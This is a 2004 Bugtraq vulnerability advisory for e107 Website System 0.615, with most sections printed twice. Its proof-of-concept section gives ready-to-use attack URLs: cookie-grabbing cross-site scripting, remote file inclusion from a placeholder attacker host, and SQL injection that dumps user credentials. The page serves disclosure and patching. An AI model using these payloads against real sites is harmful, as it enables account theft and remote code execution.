e107 Website System Multiple Vulnerabilities
BID:10436
Info
e107 Website System Multiple Vulnerabilities
| Bugtraq ID: | 10436 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 29 2004 12:00AM |
| Updated: | May 29 2004 12:00AM |
| Credit: | Discovery is credited to Janek Vind. |
| Vulnerable: |
e107 e107 website system 0.6 15a e107 e107 website system 0.6 15 |
| Not Vulnerable: |
e107 e107 website system 0.616 |
Discussion
e107 Website System Multiple Vulnerabilities
e107 is prone to multiple cross-site scripting, HTML injection, file inclusion, and SQL injection vulnerabilities. This may compromise various security properties of a Web site running the software, including allowing remote attackers to execute malicious PHP code.
e107 is prone to multiple cross-site scripting, HTML injection, file inclusion, and SQL injection vulnerabilities. This may compromise various security properties of a Web site running the software, including allowing remote attackers to execute malicious PHP code.
Exploit / POC
e107 Website System Multiple Vulnerabilities
A number of examples were provided.
- Cross-site scripting:
http://www.example.com/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);
//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/e107_0615/usersettings.php?avmsg=[xss code here]
- HTML injection in the "email article to a friend" and "submit news" pages.:
foobar'><body onload=alert(document.cookie);>
- File inclusion:
http://www.example.com/e107_0615/e107_handlers/secure_img_render.php?p=http://<attacker's host>/<attacker's script>.php
- SQL injection:
http://www.example.com/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,
null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
http://www.example.com/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*
http://www.example.com/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
A number of examples were provided.
- Cross-site scripting:
http://www.example.com/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);
//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/e107_0615/usersettings.php?avmsg=[xss code here]
- HTML injection in the "email article to a friend" and "submit news" pages.:
foobar'><body onload=alert(document.cookie);>
- File inclusion:
http://www.example.com/e107_0615/e107_handlers/secure_img_render.php?p=http://<attacker's host>/<attacker's script>.php
- SQL injection:
http://www.example.com/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,
null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
http://www.example.com/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*
http://www.example.com/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
Solution / Fix
e107 Website System Multiple Vulnerabilities
Solution:
These issues are reportedly addressed in e107 Website System 0.616. This has not been confirmed by Symantec.
e107 e107 website system 0.6 15
e107 e107 website system 0.6 15a
Solution:
These issues are reportedly addressed in e107 Website System 0.616. This has not been confirmed by Symantec.
e107 e107 website system 0.6 15
-
e107 e107 Website System 0.616
http://e107.org/download.php?view.50
e107 e107 website system 0.6 15a
-
e107 e107 Website System 0.616
http://e107.org/download.php?view.50
References
e107 Website System Multiple Vulnerabilities
References:
References:
- e107 website system Homepage (e107.org)
- [waraxe-2004-SA#031 - Multiple vulnerabilities in e107 version 0.615] (Janek Vind
)